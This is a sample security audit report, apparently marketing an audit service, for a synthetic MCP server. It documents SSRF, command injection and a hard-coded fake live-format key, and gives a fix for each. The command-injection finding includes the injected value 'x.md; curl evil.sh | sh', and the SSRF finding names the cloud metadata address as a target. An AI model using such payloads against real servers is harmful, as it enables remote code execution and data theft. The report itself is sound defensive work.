MCP Server Security Audit — Sample Report

This is a sample. It was produced on a small *synthetic* server written to show the format and level of detail. The code is not from any real company, and the key in it is a fake string. Your report covers your real repository.

1. Summary

Target	acme-orders MCP server (TypeScript, 1 file, 2 tools)
Method	Static scan with mcp-ssrf-scan 0.5, then manual review of every finding by a person
Result	**2 high**, **1 medium**. All three confirmed on manual review.
Not covered	Runtime testing, dependencies (CVE audit), infrastructure and hosting configuration, authentication design of your upstream API

2. Findings

HIGH F1 — Server-side request forgery in `fetch_document` (src/server.ts:9)

```
const res = await fetch(url);
```

What it means. The tool passes the caller's `url` straight to `fetch`. An agent (or a prompt-injected page that steers the agent) can make your server request `http://169.254.169.254/` (cloud metadata), `localhost` services or private IPs, and the response is returned to the caller.

Manual triage: confirmed. No allow-list, no host or IP check anywhere before the call.

Fix. Parse the URL, allow only `https:`, resolve DNS and reject private, loopback and link-local ranges (re-check after redirects, or disable redirects), and prefer an allow-list of hosts. Add a response size limit and a timeout.

HIGH F2 — Command injection in `convert_invoice` (src/server.ts:16)

```
exec(`pandoc ${file} -o /tmp/out.pdf`, ...)
```

What it means. The tool argument `file` is interpolated into a shell command. A value such as `x.md; curl evil.sh | sh` runs arbitrary commands with your server's privileges.

Manual triage: confirmed. Input is only typed as `string`, with no validation.

Fix. Use `execFile("pandoc", [file, "-o", out])` (no shell), validate `file` against a fixed directory, and write output to a per-request temp path instead of a shared `/tmp/out.pdf` (also a race condition between concurrent calls).

MEDIUM F3 — Live-format secret key in source (src/server.ts:21)

```
const STRIPE_KEY = "sk_live_51H8…0000";
```

What it means. A string in live-key format is committed to the repository. If it were real it would be exposed to everyone with repo access and stay in git history.

Manual triage: confirmed as a pattern. In a real engagement we check whether the key is live and tell you to rotate it; deleting the line is not enough because of git history.

Fix. Rotate the key, load it from the environment or a secret manager, and add a secret scan to CI.

3. Other observations (manual review)

- Read tools and write tools are not separated; add a confirmation or scope gate for anything that changes data.
- No rate limit or per-key metering on tool calls.
- Tool errors return raw exception text; return a generic message and log details server-side.

4. Limits of this audit

A static scan finds patterns; it does not prove the absence of vulnerabilities. In our run on 36 public MCP servers the raw scanner output was mostly noise (test helpers, database calls), which is why every finding above was checked by a person. Anything not listed here was not tested. This is not a certification or a guarantee of acceptance into any directory.

5. What you get for 390 USD

A report like this on your repository, delivered within 48 hours of access to the code, plus one free re-check of the fixes within 14 days.